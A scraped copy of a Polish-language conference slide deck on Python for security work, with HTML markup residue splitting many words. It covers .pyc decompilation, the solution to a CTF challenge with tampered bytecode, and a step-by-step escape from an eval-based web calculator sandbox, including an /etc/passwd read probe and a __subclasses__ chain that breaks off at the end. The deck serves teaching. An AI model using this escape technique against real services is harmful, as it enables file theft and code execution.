23.12.2016 Views

Python in a hacker's toolbox

Python-in-a-hackers-toolbox-GYNVAEL-COLDWIND

Python-in-a-hackers-toolbox-GYNVAEL-COLDWIND

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>Python</strong> <strong>in</strong> a <strong>hacker's</strong> <strong>toolbox</strong><br />

v. 2016<br />

Gynvael Coldw<strong>in</strong>d<br />

Security PWN<strong>in</strong>g Conference, Warszawa 2016


Keynote?<br />

Raczej prelekcja techniczna.


O prelegencie<br />

All op<strong>in</strong>ions expressed dur<strong>in</strong>g this presentations are m<strong>in</strong>e and m<strong>in</strong>e alone. They<br />

are not op<strong>in</strong>ions of my lawyer, barber and especially not my employer.


Menu<br />

Język i VM<br />

Sandbox<strong>in</strong>g<br />

RE<br />

Bezpieczeństwo


Ta prezentacja zawiera fragmenty<br />

●<br />

●<br />

●<br />

Data, data, data...<br />

"On the battlefield with the dragons" (+ Mateusz Jurczyk)<br />

"Ataki na systemy i sieci komputerowe"<br />

● "Pwn<strong>in</strong>g (sometimes) with style - Dragons' notes on CTFs" (+<br />

Mateusz Jurczyk)<br />

●<br />

"<strong>Python</strong> <strong>in</strong> a <strong>hacker's</strong> <strong>toolbox</strong>"


Język i VM


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

<strong>Python</strong>


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Język rozwijany przez<br />

<strong>Python</strong> Software Foundation<br />

<strong>Python</strong>


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Język rozwijany przez<br />

<strong>Python</strong> Software Foundation<br />

<strong>Python</strong><br />

<strong>Python</strong> Enhancement Proposal<br />

(w skrócie: PEP)


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Język rozwijany przez<br />

<strong>Python</strong> Software Foundation<br />

<strong>Python</strong><br />

<strong>Python</strong> Enhancement Proposal<br />

(w skrócie: PEP)


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

<strong>Python</strong><br />

Implementacje<br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Jython<br />

C<strong>Python</strong><br />

Brython<br />

CL<strong>Python</strong><br />

HotPy<br />

<strong>Python</strong><br />

Implementacje<br />

pyjs<br />

PyMite<br />

PyPy<br />

pyvm<br />

t<strong>in</strong>ypy<br />

Iron<strong>Python</strong><br />

RapydScript<br />

SNAPpy<br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Jython<br />

<strong>Python</strong><br />

Implementacje<br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

Brython<br />

<strong>Python</strong><br />

Implementacje<br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

<strong>Python</strong><br />

Implementacje<br />

Iron<strong>Python</strong><br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

C<strong>Python</strong><br />

Implementacja wzorcowa<br />

<strong>Python</strong><br />

Implementacje<br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

C<strong>Python</strong><br />

2.7<br />

3.X


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

O tym jest ta<br />

prezentacja<br />

C<strong>Python</strong><br />

2.7<br />

3.X


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

2c-python<br />

Compyler<br />

<strong>Python</strong> Kompilatory GCC<br />

Pyc<br />

Cython<br />

Nuitka<br />

un<strong>Python</strong><br />

Shed Sk<strong>in</strong><br />

https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations


<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />

Jython???, oh my...<br />

py2app<br />

<strong>Python</strong><br />

Bundlery<br />

("freezery")<br />

PyInstaller<br />

cx_Freeze<br />

py2exe<br />

bbfreeze<br />

http://tynecki.pl/pdf/A-comparison-of-reverse-eng<strong>in</strong>eer<strong>in</strong>g-methods-for-<strong>Python</strong>-compiled-b<strong>in</strong>aries-Piotr-Tynecki.pdf


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)


<strong>Python</strong> jako język programowania (1 IV)<br />

http://gynvael.coldw<strong>in</strong>d.pl/?id=599


<strong>Python</strong> jako język programowania<br />

obiektowy<br />

bardzo<br />

rozsądne <strong>in</strong>ty<br />

dynamicznie<br />

typowany<br />

masa bibliotek<br />

świetna<br />

<strong>in</strong>trospekcja


RE


PY → PYC → PY<br />

def func(a):<br />

pr<strong>in</strong>t(a+1)<br />

python -m compileall simple.py<br />

func(41)


PY → PYC → PY<br />

sygnatura wersji<br />

>>> pr<strong>in</strong>t(<br />

znak nowej l<strong>in</strong>ii<br />

datetime.datetime.fromtimestamp(0x58206240))<br />

2016-11-07 12:15:12<br />

timestamp


PY → PYC → PY<br />

zserializowany<br />

obiekt klasy code


PY → PYC → PY<br />

>>> import marshal<br />

>>> marshal.loads(open("simple.pyc").read()[8:])<br />


PY → PYC → PY<br />

>>> import marshal<br />

>>> marshal.loads(open("simple.pyc").read()[8:])<br />

<br />

>>> import dis<br />

>>> dis.dis(c)<br />

1 0 LOAD_CONST 0 ()<br />

3 MAKE_FUNCTION 0<br />

6 STORE_NAME 0 (func)<br />

4 9 LOAD_NAME 0 (func)<br />

12 LOAD_CONST 1 (41)<br />

15 CALL_FUNCTION 1<br />

18 POP_TOP<br />

19 LOAD_CONST 2 (None)<br />

22 RETURN_VALUE<br />

kod bajtowy<br />

maszyny stosowej


PY → PYC → PY<br />

func = MAKE_FUNCTION(CONST[0])<br />

func(41)<br />

return None<br />

>>> import dis<br />

>>> dis.dis(c)<br />

1 0 LOAD_CONST 0 ()<br />

3 MAKE_FUNCTION 0<br />

6 STORE_NAME 0 (func)<br />

4 9 LOAD_NAME 0 (func)<br />

12 LOAD_CONST 1 (41)<br />

15 CALL_FUNCTION 1<br />

18 POP_TOP<br />

19 LOAD_CONST 2 (None)<br />

22 RETURN_VALUE


PY → PYC → PY<br />

func = MAKE_FUNCTION(CONST[0])<br />

>>> dis.dis(c.co_consts[0])<br />

2 0 LOAD_FAST 0 (a)<br />

3 LOAD_CONST 1 (1)<br />

6 BINARY_ADD<br />

7 PRINT_ITEM<br />

8 PRINT_NEWLINE<br />

9 LOAD_CONST 0 (None)<br />

12 RETURN_VALUE


PY → PYC → PY<br />

func = MAKE_FUNCTION(CONST[0])<br />

pr<strong>in</strong>t(a+1)<br />

return None<br />

>>> dis.dis(c.co_consts[0])<br />

2 0 LOAD_FAST 0 (a)<br />

3 LOAD_CONST 1 (1)<br />

6 BINARY_ADD<br />

7 PRINT_ITEM<br />

8 PRINT_NEWLINE<br />

9 LOAD_CONST 0 (None)<br />

12 RETURN_VALUE


PY → PYC → PY<br />

def func(a):<br />

pr<strong>in</strong>t(a+1)<br />

func(41)<br />

def func(a):<br />

pr<strong>in</strong>t(a+1)<br />

return None<br />

func(41)<br />

return None<br />

Easy <strong>Python</strong> Decompiler - https://sourceforge.net/projects/easypythondecompiler/<br />

Decompyle++: https://github.com/zrax/pycdc<br />

uncompyle2: https://github.com/Mysterie/uncompyle2


Kod bajtowy a wersje C<strong>Python</strong><br />

http://gynvael.coldw<strong>in</strong>d.pl/rebook/py_opcodes.html


Przykład RE


What’s wrong with this? (Hack.lu 2013, 250)<br />

hello.tar


What’s wrong with this? (Hack.lu 2013, 250)<br />

library.zip<br />

...<br />

__ma<strong>in</strong>__hello__.pyc<br />

...


What’s wrong with this? (Hack.lu 2013, 250)<br />

__ma<strong>in</strong>__hello__.pyc<br />

http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />

[Names]<br />

'sys'<br />

'hashlib'<br />

'sha256'<br />

'dis'<br />

'multiprocess<strong>in</strong>g'<br />

'UserList'<br />

'encrypt_str<strong>in</strong>g'<br />

'rot_chr'<br />

'SECRET'<br />

'argv'


What’s wrong with this? (Hack.lu 2013, 250)<br />

__ma<strong>in</strong>__hello__.pyc<br />

http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />

[Names]<br />

'sys'<br />

'hashlib'<br />

'sha256'<br />

'dis'<br />

'multiprocess<strong>in</strong>g'<br />

'UserList'<br />

'encrypt_str<strong>in</strong>g'<br />

'rot_chr'<br />

'SECRET'<br />

'argv'<br />

[Code]<br />

Object Name: encrypt_str<strong>in</strong>g<br />

...<br />

[Disassembly]<br />

0 BUILD_LIST 0<br />

3 STORE_FAST 1: new_str<br />

6 SETUP_LOOP 99 (to 108)<br />

9 LOAD_GLOBAL 0: enumerate<br />

12 LOAD_FAST 0: s<br />

15 CALL_FUNCTION 1<br />

18


What’s wrong with this? (Hack.lu 2013, 250)<br />

__ma<strong>in</strong>__hello__.pyc<br />

http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />

[Names]<br />

'sys'<br />

'hashlib'<br />

'sha256'<br />

'dis'<br />

'multiprocess<strong>in</strong>g'<br />

'UserList'<br />

'encrypt_str<strong>in</strong>g'<br />

'rot_chr'<br />

'SECRET'<br />

'argv'<br />

# Source Generated with Decompyle++<br />

# File: __ma<strong>in</strong>__hello__.pyc (...)<br />

import sys<br />

import dis<br />

import multiprocess<strong>in</strong>g<br />

import UserList<br />

def encrypt_str<strong>in</strong>g(s):<br />

pass<br />

# WARNING: Decompyle <strong>in</strong>complete


What’s wrong with this? (Hack.lu 2013, 250)<br />

Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.


What’s wrong with this? (Hack.lu 2013, 250)<br />

Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.<br />

Na przykład:<br />

...<br />

114 LOAD_FAST 1: new_str<br />

117 CALL_FUNCTION 1<br />

120 IMPORT_STAR<br />


What’s wrong with this? (Hack.lu 2013, 250)<br />

Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.<br />

Na przykład:<br />

...<br />

114 LOAD_FAST 1: new_str<br />

117 CALL_FUNCTION 1<br />

120 IMPORT_STAR<br />

<br />

#def<strong>in</strong>e RETURN_VALUE 83 #def<strong>in</strong>e IMPORT_STAR 84


What’s wrong with this? (Hack.lu 2013, 250)<br />

53 ↔ 54<br />

62 ↔ 63<br />

44 ↔ 45<br />

19 ↔ 18<br />

57 ↔ 58


What’s wrong with this? (Hack.lu 2013, 250)<br />

53 ↔ 54<br />

DELETE_SLICE vs STORE_MAP<br />

62 ↔ 63<br />

BINARY_LSHIFT vs BINARY_RSHIFT<br />

44 ↔ 45<br />

? vs ?<br />

19 ↔ 18<br />

BINARY_POWER vs ?<br />

57 ↔ 58<br />

INPLACE_MULTIPLY vs INPLACE_DIVIDE


What’s wrong with this? (Hack.lu 2013, 250)<br />

BUILD_LIST 0<br />

STORE_FAST 1 (new_str)<br />

encrypt_str<strong>in</strong>g<br />

SETUP_LOOP 98 (to 107)<br />

...<br />

GET_ITER<br />

FOR_ITER 85 (to 107)<br />

...<br />

COMPARE_OP 2 (==)<br />

POP_JUMP_IF_FALSE 68<br />

POP_BLOCK<br />

...<br />

RETURN_VALUE<br />

LOAD_FAST 1 (new_str)<br />

...<br />

JUMP_ABSOLUTE 19<br />

LOAD_FAST 1 (new_str)<br />

...<br />

JUMP_ABSOLUTE 19


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

rot_chr<br />


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

(ord(c)-33+amount) % 94<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

(ord(c)-33+amount) % 94<br />

(ord(c)-33+amount) % 94 <br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

(ord(c)-33+amount) % 94<br />

(ord(c)-33+amount) % 94 <br />

(ord(c)-33+amount) % 94 + 33<br />

rot_chr


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

rot_chr<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

(ord(c)-33+amount) % 94<br />

(ord(c)-33+amount) % 94 <br />

(ord(c)-33+amount) % 94 + 33<br />

chr((ord(c)-33+amount) % 94 + 33)


What’s wrong with this? (Hack.lu 2013, 250)<br />

LOAD_GLOBAL 0 (chr)<br />

LOAD_GLOBAL 1 (ord)<br />

LOAD_FAST 0 (c)<br />

CALL_FUNCTION 1<br />

LOAD_CONST 1 (33)<br />

BINARY_SUB<br />

LOAD_FAST 1 (amount)<br />

BINARY_ADD<br />

LOAD_CONST 2 (94)<br />

BINARY_MODULE<br />

LOAD_CONST 1 (33)<br />

BINARY_ADD<br />

CALL_FUNCTION 0<br />

RETURN_VALUE<br />

rot_chr<br />

<br />

ord(c)<br />

ord(c) <br />

ord(c)-33<br />

ord(c)-33 <br />

ord(c)-33+amount<br />

ord(c)-33+amount <br />

(ord(c)-33+amount) % 94<br />

(ord(c)-33+amount) % 94 <br />

(ord(c)-33+amount) % 94 + 33<br />

chr((ord(c)-33+amount) % 94 + 33)<br />

return chr(ord(c)-33+amount) % 94 + 33)


What’s wrong with this? (Hack.lu 2013, 250)<br />

def rot_xchr(c, amount):<br />

if amount < 0:<br />

amount += 94<br />

return chr(((ord(c) - 33) + amount) % 94 + 33)<br />

SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'<br />

x = rot_xchr(SECRET[0], -10)<br />

i = 0<br />

for ch <strong>in</strong> SECRET[1:]:<br />

x += rot_xchr(ch, -ord(SECRET[i]))<br />

i += 1<br />

pr<strong>in</strong>t x


RE dla odważnych (zadanie domowe)


Zadanie domowe dla chętnych<br />

http://gynvael.coldw<strong>in</strong>d.pl/?id=602


Sandbox<strong>in</strong>g


Sandox<strong>in</strong>g?<br />

eval("kod do wykonania",<br />

{środowisko globalne},<br />

{środowisko lokalne})<br />

UWAGA:<br />

Tego typu sandbox<strong>in</strong>g<br />

NIE DZIAŁA.<br />

>>> eval("open('asdf')", {"__built<strong>in</strong>s__":{}}, {})<br />

Traceback (most recent call last):<br />

File "", l<strong>in</strong>e 1, <strong>in</strong> <br />

File "", l<strong>in</strong>e 1, <strong>in</strong> <br />

NameError: name 'open' is not def<strong>in</strong>ed


Sandbox<strong>in</strong>g - przykład 1


„Sandbox”<br />

(jedynie ilustracja)<br />

Kalkulator<br />

Prosty widget na stronie.


„Sandbox”<br />

POST /calc HTTP/1.1<br />

{"formula": "6*9"}<br />

HTTP SERVER<br />

HTTP/1.1 200 OK<br />

{"result": "42"}


„Sandbox”<br />

POST /calc HTTP/1.1<br />

{"formula": "0/0"}<br />

HTTP SERVER<br />

HTTP/1.1 200 OK<br />

{"error":<br />

"ZeroDivisionError"}


„Sandbox”<br />

?<br />

1+open("/etc/passwd")+1<br />

?<br />

?<br />

NameError<br />

TypeError<br />

Damn Kids!<br />

Get Off My Lawn!


„Sandbox”<br />

1+open("/etc/passwd")+1<br />

NameError


„Sandbox”<br />

?<br />

1+len([1,1,1])+1<br />

?<br />

?<br />

NameError 5<br />

Damn Kids!<br />

Get Off My Lawn!


„Sandbox”<br />

1+len([1,1,1])+1<br />

NameError<br />

Prawdopodobnie sandbox typu:<br />

eval("formula",<br />

{"__built<strong>in</strong>s__": None,<br />

"s<strong>in</strong>": math.s<strong>in</strong>,<br />

... }, # Globals<br />

{}) # Locals


„Sandbox”<br />

?<br />

1+[1,1,1].__len__()+1<br />

?<br />

?<br />

NameError 5<br />

Damn Kids!<br />

Get Off My Lawn!


„Sandbox”<br />

1+[1,1,1].__len__()+1<br />

5


„Sandbox”<br />

{}<br />

dir(formula)<br />

{}<br />

['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />

'__delattr__', '__delitem__', '__doc__',<br />

'__eq__', '__format__', '__ge__',<br />

'__getattribute__', '__getitem__', '__gt__',<br />

'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />

'__len__', '__lt__', '__ne__', '__new__',<br />

'__reduce__', '__reduce_ex__', '__repr__',<br />

'__setattr__', '__setitem__', '__sizeof__',<br />

'__str__', '__subclasshook__', 'clear',<br />

'copy', 'fromkeys', 'get', 'has_key', 'items',<br />

'iteritems', 'iterkeys', 'itervalues', 'keys',<br />

'pop', 'popitem', 'setdefault', 'update',<br />

'values', 'viewitems', 'viewkeys',<br />

'viewvalues']


„Sandbox”<br />

{}.__class__<br />

dir(formula)<br />

<br />

['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />

'__delattr__', '__delitem__', '__doc__',<br />

'__eq__', '__format__', '__ge__',<br />

'__getattribute__', '__getitem__', '__gt__',<br />

'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />

'__len__', '__lt__', '__ne__', '__new__',<br />

'__reduce__', '__reduce_ex__', '__repr__',<br />

'__setattr__', '__setitem__', '__sizeof__',<br />

'__str__', '__subclasshook__', 'clear',<br />

'copy', 'fromkeys', 'get', 'has_key', 'items',<br />

'iteritems', 'iterkeys', 'itervalues', 'keys',<br />

'pop', 'popitem', 'setdefault', 'update',<br />

'values', 'viewitems', 'viewkeys',<br />

'viewvalues']<br />

+ hidden: __base__


„Sandbox”<br />

{}.__class__.__base__<br />

dir(formula)<br />

<br />

['__class__', '__delattr__',<br />

'__doc__', '__format__',<br />

'__getattribute__', '__hash__',<br />

'__<strong>in</strong>it__', '__new__',<br />

'__reduce__', '__reduce_ex__',<br />

'__repr__', '__setattr__',<br />

'__sizeof__', '__str__',<br />

'__subclasshook__']<br />

+ hidden: __subclasses__


„Sandbox”<br />

{}.__class__.__base__<br />

.__subclasses__<br />

dir(formula)<br />

<br />

['__call__', '__class__', '__cmp__',<br />

'__delattr__', '__doc__', '__eq__',<br />

'__format__', '__ge__',<br />

'__getattribute__', '__gt__',<br />

'__hash__', '__<strong>in</strong>it__', '__le__',<br />

'__lt__', '__module__', '__name__',<br />

'__ne__', '__new__', '__reduce__',<br />

'__reduce_ex__', '__repr__', '__self__',<br />

'__setattr__', '__sizeof__', '__str__',<br />

'__subclasshook__']


„Sandbox”<br />

{}.__class__.__base__<br />

.__subclasses__()<br />

dir(formula)<br />

[, , , , , , , , , , , , , ,<br />

, , , , , , , , , , , , , , , , , , ,<br />

, , , , , , ,<br />

, , , , , , , , , , , , , , ,<br />

, , ,<br />

, , , , ,<br />

, , , , , , , , , , , , ]<br />

['__add__', '__class__', '__conta<strong>in</strong>s__',<br />

'__delattr__', '__delitem__', '__delslice__',<br />

'__doc__', '__eq__', '__format__', '__ge__',<br />

'__getattribute__', '__getitem__',<br />

'__getslice__', '__gt__', '__hash__',<br />

'__iadd__', '__imul__', '__<strong>in</strong>it__',<br />

'__iter__', '__le__', '__len__', '__lt__',<br />

'__mul__', '__ne__', '__new__', '__reduce__',<br />

'__reduce_ex__', '__repr__', '__reversed__',<br />

'__rmul__', '__setattr__', '__setitem__',<br />

'__setslice__', '__sizeof__', '__str__',<br />

'__subclasshook__', 'append', 'count',<br />

'extend', '<strong>in</strong>dex', '<strong>in</strong>sert', 'pop', 'remove',<br />

'reverse', 'sort']


„Sandbox”<br />

zależne od wersji i środowiska<br />

{}.__class__.__base__<br />

.__subclasses__()[59]<br />

dir(formula)<br />

<br />

['__class__', '__delattr__', '__dict__',<br />

'__doc__', '__enter__', '__exit__',<br />

'__format__', '__getattribute__',<br />

'__hash__', '__<strong>in</strong>it__', '__module__',<br />

'__new__', '__reduce__',<br />

'__reduce_ex__', '__repr__',<br />

'__setattr__', '__sizeof__', '__str__',<br />

'__subclasshook__', '__weakref__']


„Sandbox”<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()<br />

dir(formula)<br />

catch_warn<strong>in</strong>gs()<br />

['__class__', '__delattr__', '__dict__',<br />

'__doc__', '__enter__', '__exit__',<br />

'__format__', '__getattribute__',<br />

'__hash__', '__<strong>in</strong>it__', '__module__',<br />

'__new__', '__reduce__',<br />

'__reduce_ex__', '__repr__',<br />

'__setattr__', '__sizeof__', '__str__',<br />

'__subclasshook__', '__weakref__',<br />

'_entered', '_module', '_record']


„Sandbox”<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

dir(formula)<br />

['Warn<strong>in</strong>gMessage', '_OptionError', '__all__',<br />

<br />

'__built<strong>in</strong>s__', '__doc__',<br />

'__file__', '__name__', '__package__',<br />

'_getaction', '_getcategory',<br />

'_processoptions', '_setoption',<br />

'_show_warn<strong>in</strong>g', 'catch_warn<strong>in</strong>gs',<br />

'default_action', 'defaultaction', 'filters',<br />

'filterwarn<strong>in</strong>gs', 'formatwarn<strong>in</strong>g',<br />

'l<strong>in</strong>ecache', 'once_registry', 'onceregistry',<br />

'resetwarn<strong>in</strong>gs', 'showwarn<strong>in</strong>g',<br />

'simplefilter', 'sys', 'types', 'warn',<br />

'warn_explicit', 'warnpy3k']


„Sandbox”<br />

{}.__class__.__base__<br />

